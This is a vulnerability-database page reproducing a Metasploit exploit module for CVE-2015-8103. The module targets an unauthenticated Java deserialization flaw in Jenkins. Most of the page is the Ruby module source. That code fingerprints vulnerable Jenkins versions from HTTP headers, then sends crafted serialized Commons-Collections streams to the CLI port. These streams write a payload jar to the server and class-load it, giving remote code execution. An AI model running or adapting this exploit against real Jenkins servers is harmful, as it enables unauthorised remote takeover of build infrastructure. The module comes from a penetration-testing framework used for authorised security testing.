Lucene search
K

Jenkins CLI RMI Java Deserialization Exploit

🗓️ 15 Dec 2015 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 140 Views

This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, allowing remote arbitrary code execution without authentication

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2015-8103
25 Nov 201520:59
attackerkb
ArchLinux
jenkins: multiple issues
18 Nov 201500:00
archlinux
Gitee
Exploit for Deserialization of Untrusted Data in Redhat Data_Grid
15 Sep 202009:08
gitee
Gitee
Exploit for Deserialization of Untrusted Data in Ibm Sterling_B2B_Integrator
3 Aug 202504:13
gitee
Gitee
Exploit for Deserialization of Untrusted Data in Redhat Data_Grid
29 Oct 202013:31
gitee
Circl
CVE-2015-8103
15 Dec 201500:00
circl
CNVD
Jenkins Remote Code Execution Vulnerability
20 Nov 201500:00
cnvd
Check Point Advisories
Jenkins CI Server Commons-Collections Library Insecure Deserialization (CVE-2015-8103)
21 Dec 201500:00
checkpoint_advisories
CVE
CVE-2015-8103
25 Nov 201520:00
cve
Cvelist
CVE-2015-8103
25 Nov 201520:00
cvelist
Rows per page
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins CLI RMI Java Deserialization Vulnerability',
      'Description'    => %q{
        This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on
        the Jenkins master, which allows remote arbitrary code execution. Authentication is not
        required to exploit this vulnerability.
      },
      'Author'         =>
          [
            'Christopher Frohoff', # Vulnerability discovery
            'Steve Breen',         # Public Exploit
            'Dev Mohanty',         # Metasploit module
            'Louis Sato',          # Metasploit
            'William Vu',          # Metasploit
            'juan vazquez',        # Metasploit
            'Wei Chen'             # Metasploit
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
          [
            ['CVE', '2015-8103'],
            ['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],
            ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
            ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
            ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']
          ],
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Targets'        =>
        [
          [ 'Jenkins 1.637', {} ]
        ],
      'DisclosureDate' => 'Nov 18 2015',
      'DefaultTarget' => 0))

    register_options([
      OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),
      OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
      Opt::RPORT('8080')
    ], self.class)
  end

  def exploit
    unless vulnerable?
      fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
    end
    invoke_remote_method(set_payload)
    invoke_remote_method(class_load_payload)
  end


  # This is from the HttpClient mixin. But since this module isn't actually exploiting
  # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &
  # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.

  def target_uri
    begin
      # In case TARGETURI is empty, at least we default to '/'
      u = datastore['TARGETURI']
      u = "/" if u.nil? or u.empty?
      URI(u)
    rescue ::URI::InvalidURIError
      print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
      raise Msf::OptionValidateError.new(['TARGETURI'])
    end
  end

  def normalize_uri(*strs)
    new_str = strs * "/"

    new_str = new_str.gsub!("//", "/") while new_str.index("//")

    # Makes sure there's a starting slash
    unless new_str[0,1] == '/'
      new_str = '/' + new_str
    end

    new_str
  end

  def check
    result = Exploit::CheckCode::Safe

    begin
      if vulnerable?
        result = Exploit::CheckCode::Vulnerable
      end
    rescue Msf::Exploit::Failed => e
      vprint_error(e.message)
      return Exploit::CheckCode::Unknown
    end

    result
  end

  def vulnerable?
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path)
    })

    unless res
      fail_with(Failure::Unknown, 'The connection timed out.')
    end

    http_headers = res.headers

    unless http_headers['X-Jenkins-CLI-Port']
      vprint_error('The server does not have the CLI port that is needed for exploitation.')
      return false
    end

    if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637
      @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i
      return true
    end

    false
  end

  # Connects to the server, creates a request, sends the request,
  # reads the response
  #
  # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
  #
  def send_request_cgi(opts={}, timeout = 20)
    if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0
      actual_timeout = datastore['HttpClientTimeout']
    else
      actual_timeout =  opts[:timeout] || timeout
    end

    begin
      c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
      c.connect
      r = c.request_cgi(opts)
      c.send_recv(r, actual_timeout)
    rescue ::Errno::EPIPE, ::Timeout::Error
      nil
    end
  end

  def invoke_remote_method(serialized_java_stream)
    begin
      socket = connect(true, {'RPORT' => @jenkins_cli_port})

      print_status 'Sending headers...'
      socket.put(read_bin_file('serialized_jenkins_header'))

      vprint_status(socket.recv(1024))
      vprint_status(socket.recv(1024))

      encoded_payload0 = read_bin_file('serialized_payload_header')
      encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)
      encoded_payload2 = read_bin_file('serialized_payload_footer')

      encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"
      print_status "Sending payload length: #{encoded_payload.length}"
      socket.put(encoded_payload)
    ensure
      disconnect(socket)
    end

  end

  def print_status(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  #
  # Serialized stream generated with:
  # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java
  #
  def set_payload
    stream = Rex::Java::Serialization::Model::Stream.new

    handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb')
    decoded = stream.decode(handle)
    handle.close

    inject_payload_into_stream(decoded).encode
  end

  #
  # Serialized stream generated with:
  # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java
  #
  def class_load_payload
    stream = Rex::Java::Serialization::Model::Stream.new
    handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb')
    decoded = stream.decode(handle)
    handle.close
    inject_class_loader_into_stream(decoded).encode
  end

  def inject_class_loader_into_stream(decoded)
    file_name_utf8 = get_array_chain(decoded)
                         .values[2]
                         .class_data[0]
                         .values[1]
                         .values[0]
                         .values[0]
                         .class_data[3]
    file_name_utf8.contents = get_random_file_name
    file_name_utf8.length = file_name_utf8.contents.length
    class_name_utf8 = get_array_chain(decoded)
                          .values[4]
                          .class_data[0]
                          .values[0]
    class_name_utf8.contents = 'metasploit.Payload'
    class_name_utf8.length = class_name_utf8.contents.length
    decoded
  end

  def get_random_file_name
    @random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"
  end

  def inject_payload_into_stream(decoded)
    byte_array = get_array_chain(decoded)
                     .values[2]
                     .class_data
                     .last
    byte_array.values = payload.encoded.bytes
    file_name_utf8 = decoded.references[44].class_data[0]
    rnd_fname = get_random_file_name
    register_file_for_cleanup(rnd_fname)
    file_name_utf8.contents = rnd_fname
    file_name_utf8.length = file_name_utf8.contents.length
    decoded
  end

  def get_array_chain(decoded)
    object = decoded.contents[0]
    lazy_map = object.class_data[1].class_data[0]
    chained_transformer = lazy_map.class_data[0]
    chained_transformer.class_data[0]
  end

  def read_bin_file(bin_file_path)
    data = ''

    File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f|
      data = f.read
    end

    data
  end

end

#  0day.today [2018-02-21]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Dec 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.86333
140